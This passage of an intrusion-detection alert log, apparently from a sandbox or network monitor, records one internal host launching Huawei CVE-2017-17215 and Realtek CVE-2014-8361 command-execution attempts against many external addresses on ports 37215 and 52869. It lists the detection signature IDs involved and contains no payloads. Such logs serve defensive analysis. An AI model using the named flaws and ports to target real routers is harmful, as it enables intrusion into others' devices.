Source Port:	48344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.25.72.152

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	41910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.167.12

Timestamp:	07/20/24-23:00:59.021109
SID:	2829579
Source Port:	37640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 35.206.55.83

Timestamp:	07/20/24-23:01:14.541501
SID:	2027339
Source Port:	59096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 99.113.93.165

Timestamp:	07/20/24-23:01:36.812730
SID:	2829579
Source Port:	40208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.217.94.248

Timestamp:	07/20/24-23:01:04.841989
SID:	2835222
Source Port:	33494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.176.16.102

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	59930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 17.217.65.15

Timestamp:	07/20/24-23:01:14.521197
SID:	2027339
Source Port:	34672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 139.159.183.229

Timestamp:	07/20/24-23:01:21.374444
SID:	2025132
Source Port:	44454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.188.43.182

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	56320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.240.194.108

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	52534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 46.91.29.61

Timestamp:	07/20/24-23:01:02.682054
SID:	2829579
Source Port:	33990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.96.187.238

Timestamp:	07/20/24-23:01:02.612616
SID:	2835222
Source Port:	56802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.179.37

Timestamp:	07/20/24-23:01:32.192696
SID:	2829579
Source Port:	34390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.95.243.107

Timestamp:	07/20/24-23:01:06.230961
SID:	2027339
Source Port:	46330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.229.89.250

Timestamp:	07/20/24-23:01:14.999580
SID:	2835222
Source Port:	52410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.40.104.9

Timestamp:	07/20/24-23:01:12.533730
SID:	2835222
Source Port:	55850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.20.195.200

Timestamp:	07/20/24-23:01:25.460589
SID:	2829579
Source Port:	38438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.79.117.67

Timestamp:	07/20/24-23:01:12.490733
SID:	2829579
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.254.56.10

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	36206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.115.220.136

Timestamp:	07/20/24-23:01:12.484346
SID:	2829579
Source Port:	58988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.222.221.26

Timestamp:	07/20/24-23:00:59.022237
SID:	2829579
Source Port:	59386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.183.166.233

Timestamp:	07/20/24-23:01:14.542853
SID:	2027339
Source Port:	60938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 4.4.167.103

Timestamp:	07/20/24-23:01:06.011611
SID:	2025132
Source Port:	49424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.88.175.187

Timestamp:	07/20/24-23:01:14.501229
SID:	2027339
Source Port:	39940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 115.0.94.194

Timestamp:	07/20/24-23:01:08.435254
SID:	2835222
Source Port:	46618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 46.222.69.48

Timestamp:	07/20/24-23:01:27.366334
SID:	2831300
Source Port:	51776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 130.11.160.84

Timestamp:	07/20/24-23:01:05.581362
SID:	2025132
Source Port:	56178
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 195.163.106.174

Timestamp:	07/20/24-23:01:22.736706
SID:	2829579
Source Port:	49312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.6.129.74

Timestamp:	07/20/24-23:01:08.460982
SID:	2829579
Source Port:	43196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.84.153

Timestamp:	07/20/24-23:01:36.780757
SID:	2835222
Source Port:	35150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.47.240.95

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	39418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 68.30.100.71

Timestamp:	07/20/24-23:01:05.791437
SID:	2025132
Source Port:	46912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 1.6.86.123

Timestamp:	07/20/24-23:01:07.605472
SID:	2025132
Source Port:	51432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 200.96.128.108

Timestamp:	07/20/24-23:01:27.237698
SID:	2835222
Source Port:	48046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 114.155.105.80

Timestamp:	07/20/24-23:01:20.451577
SID:	2027339
Source Port:	57476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.108.81.73

Timestamp:	07/20/24-23:01:12.356579
SID:	2829579
Source Port:	52258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.99.232.103

Timestamp:	07/20/24-23:01:08.447448
SID:	2835222
Source Port:	47950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.237.43.90

Timestamp:	07/20/24-23:00:59.055118
SID:	2829579
Source Port:	60900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.80.68.55

Timestamp:	07/20/24-23:01:08.369553
SID:	2829579
Source Port:	39836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 35.166.41.236

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	38810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.83.103

Timestamp:	07/20/24-23:01:02.678688
SID:	2835222
Source Port:	43210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.3.11.1

Timestamp:	07/20/24-23:01:08.455372
SID:	2835222
Source Port:	51024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 53.180.150.104

Timestamp:	07/20/24-23:01:15.001455
SID:	2829579
Source Port:	60994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 174.36.66.18

Timestamp:	07/20/24-23:01:06.801747
SID:	2835222
Source Port:	49450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.186.118.133

Timestamp:	07/20/24-23:01:08.459273
SID:	2829579
Source Port:	33184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 202.179.114.114

Timestamp:	07/20/24-23:01:03.838826
SID:	2025132
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 107.115.208.97

Timestamp:	07/20/24-23:01:15.059692
SID:	2829579
Source Port:	42550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 142.48.177.154

Timestamp:	07/20/24-23:01:36.781522
SID:	2829579
Source Port:	60178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 216.1.152.81

Timestamp:	07/20/24-23:01:05.860143
SID:	2027339
Source Port:	54888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.202.215.15

Timestamp:	07/20/24-23:01:15.072845
SID:	2835222
Source Port:	56224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.245.248.200

Timestamp:	07/20/24-23:01:27.352864
SID:	2027339
Source Port:	48646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.81.13.239

Timestamp:	07/20/24-23:01:04.908544
SID:	2835222
Source Port:	55358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.47.161

Timestamp:	07/20/24-23:01:06.812906
SID:	2829579
Source Port:	33004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 173.70.195.138

Timestamp:	07/20/24-23:01:14.500846
SID:	2027339
Source Port:	43912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.15.189.58

Timestamp:	07/20/24-23:01:08.459274
SID:	2835222
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.202.251.103

Timestamp:	07/20/24-23:01:32.238260
SID:	2829579
Source Port:	42198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 49.146.39.71

Timestamp:	07/20/24-23:01:14.544463
SID:	2027339
Source Port:	50652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.157.248.97

Timestamp:	07/20/24-23:01:15.000440
SID:	2835222
Source Port:	37684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 37.205.184.129

Timestamp:	07/20/24-23:01:06.270558
SID:	2025132
Source Port:	40392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 44.173.173.82

Timestamp:	07/20/24-23:01:14.550185
SID:	2027339
Source Port:	55344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 64.111.121.228

Timestamp:	07/20/24-23:01:14.502058
SID:	2831300
Source Port:	50058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.195.159

Timestamp:	07/20/24-23:01:04.842729
SID:	2829579
Source Port:	38750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.52.158.215

Timestamp:	07/20/24-23:01:12.356928
SID:	2829579
Source Port:	46748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 216.77.121.39

Timestamp:	07/20/24-23:01:12.358719
SID:	2835222
Source Port:	50724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 82.38.244.59

Timestamp:	07/20/24-23:01:27.352673
SID:	2027339
Source Port:	40200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.22.18.106

Timestamp:	07/20/24-23:01:25.390960
SID:	2829579
Source Port:	57216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.121.161.205

Timestamp:	07/20/24-23:01:12.517792
SID:	2829579
Source Port:	46010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.117.43

Timestamp:	07/20/24-23:01:27.306441
SID:	2835222
Source Port:	46634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.233.111.48

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	57822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 223.227.5.114

Timestamp:	07/20/24-23:01:06.448801
SID:	2025132
Source Port:	34174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.71.97.69

Timestamp:	07/20/24-23:01:04.842729
SID:	2829579
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.17.101.178

Timestamp:	07/20/24-23:01:32.257456
SID:	2829579
Source Port:	49708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.224.237.80

Timestamp:	07/20/24-23:01:15.000888
SID:	2829579
Source Port:	39250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.160.175.59

Timestamp:	07/20/24-23:01:06.806392
SID:	2829579
Source Port:	57058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.30.247.87

Timestamp:	07/20/24-23:01:17.782283
SID:	2829579
Source Port:	39052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.126.249.142

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.120.46

Timestamp:	07/20/24-23:01:32.267589
SID:	2829579
Source Port:	37448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.178.193

Timestamp:	07/20/24-23:00:59.019819
SID:	2829579
Source Port:	39572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 220.0.252.243

Timestamp:	07/20/24-23:01:27.226586
SID:	2829579
Source Port:	44976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.102.87.189

Timestamp:	07/20/24-23:01:32.244559
SID:	2835222
Source Port:	33134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.140.135.200

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	38124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.159.252.215

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	53738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.123.109

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	51592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.218.110.52

Timestamp:	07/20/24-23:01:12.356737
SID:	2835222
Source Port:	39884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 159.127.6.20

Timestamp:	07/20/24-23:01:06.335635
SID:	2025132
Source Port:	36394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 92.31.50.53

Timestamp:	07/20/24-23:01:02.669609
SID:	2829579
Source Port:	54416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 205.213.110.131

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	52836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.44.80.81

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	55338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 84.59.78.82

Timestamp:	07/20/24-23:01:06.798920
SID:	2829579
Source Port:	54762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 176.200.162.136

Timestamp:	07/20/24-23:01:20.583023
SID:	2025132
Source Port:	59676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.239.125.84

Timestamp:	07/20/24-23:01:04.892375
SID:	2835222
Source Port:	55018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.123.4.18

Timestamp:	07/20/24-23:01:04.988327
SID:	2027339
Source Port:	32794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 147.235.120.255

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	57928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.103.95.95

Timestamp:	07/20/24-23:01:14.513211
SID:	2831300
Source Port:	51854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.187.216.229

Timestamp:	07/20/24-23:01:22.737919
SID:	2835222
Source Port:	41442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.209.91.186

Timestamp:	07/20/24-23:01:06.812618
SID:	2835222
Source Port:	58896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 199.170.141.174

Timestamp:	07/20/24-23:01:04.582480
SID:	2025132
Source Port:	60622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.124.222

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	57862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.255.114.202

Timestamp:	07/20/24-23:00:59.021164
SID:	2829579
Source Port:	56172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 223.227.5.114

Timestamp:	07/20/24-23:01:14.559539
SID:	2831300
Source Port:	36102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.38.194

Timestamp:	07/20/24-23:00:59.023356
SID:	2829579
Source Port:	38738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 69.50.110.174

Timestamp:	07/20/24-23:01:25.460589
SID:	2829579
Source Port:	45514
Destination Port:	37215
Protocol:	TCP
